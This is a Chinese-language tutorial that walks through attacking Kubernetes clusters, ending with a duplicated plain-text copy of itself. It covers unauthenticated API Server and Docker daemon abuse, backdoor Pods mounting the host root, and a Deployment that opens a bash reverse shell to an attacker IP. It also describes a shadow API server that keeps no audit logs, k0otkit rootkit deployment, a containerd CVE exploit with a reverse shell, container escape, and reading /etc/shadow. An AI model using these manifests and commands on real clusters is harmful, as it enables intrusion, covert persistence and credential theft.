云原生之Kubernetes安全
字数 1490 2025-08-29 08:30:36

Kubernetes安全攻防技术详解

初始访问攻击面

API Server未授权访问

  • 风险点:API Server作为K8s集群管理入口,默认端口8080(无认证)和6443(TLS认证)
  • 攻击场景
    1. 8080端口暴露公网
    2. 匿名用户绑定到cluster-admin用户组
  • 利用方法
    # 查看pods
    https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
    
    # 创建特权容器
    https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
    
    # 执行命令
    https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami
    

K8s configfile泄露

  • 配置文件位置

    1. --kubeconfig指定路径
    2. $KUBECONFIG环境变量
    3. 默认$HOME/.kube/config
  • 完整利用流程

    1. 获取configfile
    2. 创建后门Pod并挂载主机路径
    3. 通过kubectl进入容器
    4. 利用挂载目录逃逸
    # Linux安装kubectl
    curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
    sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
    
    # 使用泄露的config
    kubectl --kubeconfig k8s.yaml
    
    # 创建特权Pod
    apiVersion: v1
    kind: Pod
    metadata:
      name: test-444
    spec:
      containers:
      - name: test-444
        image: nginx:1.14.2
        volumeMounts:
        - name: host
          mountPath: /host
      volumes:
      - name: host
        hostPath:
          path: /
          type: Directory
    

Docker Daemon公网暴露

  • 风险端口
    • 2375: 未认证HTTP
    • 2376: 可信HTTPS
  • 检测与利用
    # 探测未授权访问
    curl http://192.168.238.129:2375/info
    docker -H tcp://192.168.238.129:2375 info
    
    # 设置环境变量方便操作
    export DOCKER_HOST="tcp://192.168.238.129:2375"
    

利用Service Account

  • 默认路径/run/secrets/kubernetes.io/serviceaccount/token
  • 利用条件:未配置RBAC或配置不当
  • 利用方法
    # 设置API服务器地址
    export APISERVER=https://${KUBERNETES_SERVICE_HOST}
    
    # 读取ServiceAccount信息
    export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
    export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
    export TOKEN=$(cat ${SERVICEACCOUNT}/token)
    export CACERT=${SERVICEACCOUNT}/ca.crt
    
    # 查询集群信息
    curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
    

持久化技术

使用Deployment持久化

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

Shadow API Server

  • 特点
    • 与真实API Server功能一致
    • 开启全部权限
    • 接受匿名请求
    • 不保存审计日志
  • 部署方法
    # 一键部署
    ./cdk run k8s-shadow-apiserver default
    
    # 添加的关键选项
    --allow-privileged
    --insecure-port=9443
    --insecure-bind-address=0.0.0.0
    --secure-port=9444
    --anonymous-auth=true
    --authorization-mode=AlwaysAllow
    

k0otkit Rootkit

  • 技术特点
    • 使用DaemonSet和Secret资源
    • 就地取材使用kube-proxy镜像
    • 动态容器注入
    • Meterpreter流量加密
    • 无文件攻击
  • 部署流程
    1. 生成k0otkit:./pre_exp.sh
    2. 监听:./handle_multi_reverse_shell.sh
    3. 在master节点执行生成的k0otkit.sh

CronJob持久化

apiVersion: batch/v1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"  # 每分钟执行一次
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - # 反弹Shell或者木马
          restartPolicy: OnFailure

权限提升技术

特权容器逃逸

  • 利用条件:容器配置了privileged: true
  • 逃逸方法
    # 查看磁盘
    fdisk -l
    
    # 挂载宿主机目录
    mkdir /tmp/test
    mount /dev/sda3 /tmp/test
    chroot /tmp/test bash
    

Docker漏洞利用

CVE-2020-15257

  • 影响版本
    • Containerd < 1.3.9
    • Containerd 1.4.0~1.4.2
  • 检测方法
    cat /proc/net/unix | grep 'containerd-shim'
    
  • 利用方法
    ./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
    

CVE-2019-5736

  • 影响版本
    • Docker version <=18.09.2
    • RunC version <=1.0-rc6
  • 利用流程
    1. 下载并编译POC
    2. 上传到容器执行
    3. 等待管理员进入容器触发

Linux Capabilities逃逸

  • 关键Capabilities
    • cap_sys_ptrace
    • cap_sys_admin
    • cap_dac_read_search
  • 检测方法
    cat /proc/self/status | grep CapEff
    capsh --print
    

探测技术

集群内网扫描

  • 网络类型
    1. 同一Pod内容器间通信
    2. Pod间通信
    3. Pod与Service间通信
    4. 外部流量与Service间通信
  • 扫描工具:nmap、masscan等

常用端口探测

  • 关键端口
    • API Server: 6443, 8080
    • etcd: 2379, 2380
    • kubelet: 10250, 10255
    • NodePort: 30000-32767

集群内部网络

  • 默认网络
    • Flannel: 10.244.0.0/16
    • Calico: 192.168.0.0/16

横向移动技术

污点(Taint)横向渗透

  • 查看节点信息
    kubectl get nodes
    kubectl describe nodes <node-name>
    
  • 创建容忍污点的Pod
    apiVersion: v1
    kind: Pod
    metadata:
      name: control-master-15
    spec:
      tolerations:
      - key: node.kubernetes.io/unschedulable
        operator: Exists
        effect: NoSchedule
      containers:
      - name: control-master-15
        image: ubuntu:18.04
        command: ["/bin/sleep", "3650d"]
        volumeMounts:
        - name: master
          mountPath: /master
      volumes:
      - name: master
        hostPath:
          path: /
          type: Directory
    
  • 获取Master控制权
    kubectl exec control-master-15 -it bash
    chroot /master bash
    cat /etc/shadow
    

结论与趋势

  1. 当前黑产主要利用未授权访问进行挖矿
  2. 云原生攻击武器发展将降低攻击门槛
  3. 虚拟机/容器逃逸攻击、供应链攻击将快速增长
  4. 私有云部署常缺乏有效隔离,风险较高
  5. 定制化云产品使用大量第三方组件,存在长期暴露风险
Kubernetes安全攻防技术详解 初始访问攻击面 API Server未授权访问 风险点 :API Server作为K8s集群管理入口,默认端口8080(无认证)和6443(TLS认证) 攻击场景 : 8080端口暴露公网 匿名用户绑定到cluster-admin用户组 利用方法 : K8s configfile泄露 配置文件位置 : --kubeconfig指定路径 $KUBECONFIG环境变量 默认$HOME/.kube/config 完整利用流程 : 获取configfile 创建后门Pod并挂载主机路径 通过kubectl进入容器 利用挂载目录逃逸 Docker Daemon公网暴露 风险端口 : 2375: 未认证HTTP 2376: 可信HTTPS 检测与利用 : 利用Service Account 默认路径 : /run/secrets/kubernetes.io/serviceaccount/token 利用条件 :未配置RBAC或配置不当 利用方法 : 持久化技术 使用Deployment持久化 Shadow API Server 特点 : 与真实API Server功能一致 开启全部权限 接受匿名请求 不保存审计日志 部署方法 : k0otkit Rootkit 技术特点 : 使用DaemonSet和Secret资源 就地取材使用kube-proxy镜像 动态容器注入 Meterpreter流量加密 无文件攻击 部署流程 : 生成k0otkit: ./pre_exp.sh 监听: ./handle_multi_reverse_shell.sh 在master节点执行生成的k0otkit.sh CronJob持久化 权限提升技术 特权容器逃逸 利用条件 :容器配置了 privileged: true 逃逸方法 : Docker漏洞利用 CVE-2020-15257 影响版本 : Containerd < 1.3.9 Containerd 1.4.0~1.4.2 检测方法 : 利用方法 : CVE-2019-5736 影响版本 : Docker version <=18.09.2 RunC version <=1.0-rc6 利用流程 : 下载并编译POC 上传到容器执行 等待管理员进入容器触发 Linux Capabilities逃逸 关键Capabilities : cap_ sys_ ptrace cap_ sys_ admin cap_ dac_ read_ search 检测方法 : 探测技术 集群内网扫描 网络类型 : 同一Pod内容器间通信 Pod间通信 Pod与Service间通信 外部流量与Service间通信 扫描工具 :nmap、masscan等 常用端口探测 关键端口 : API Server: 6443, 8080 etcd: 2379, 2380 kubelet: 10250, 10255 NodePort: 30000-32767 集群内部网络 默认网络 : Flannel: 10.244.0.0/16 Calico: 192.168.0.0/16 横向移动技术 污点(Taint)横向渗透 查看节点信息 : 创建容忍污点的Pod : 获取Master控制权 : 结论与趋势 当前黑产主要利用未授权访问进行挖矿 云原生攻击武器发展将降低攻击门槛 虚拟机/容器逃逸攻击、供应链攻击将快速增长 私有云部署常缺乏有效隔离,风险较高 定制化云产品使用大量第三方组件,存在长期暴露风险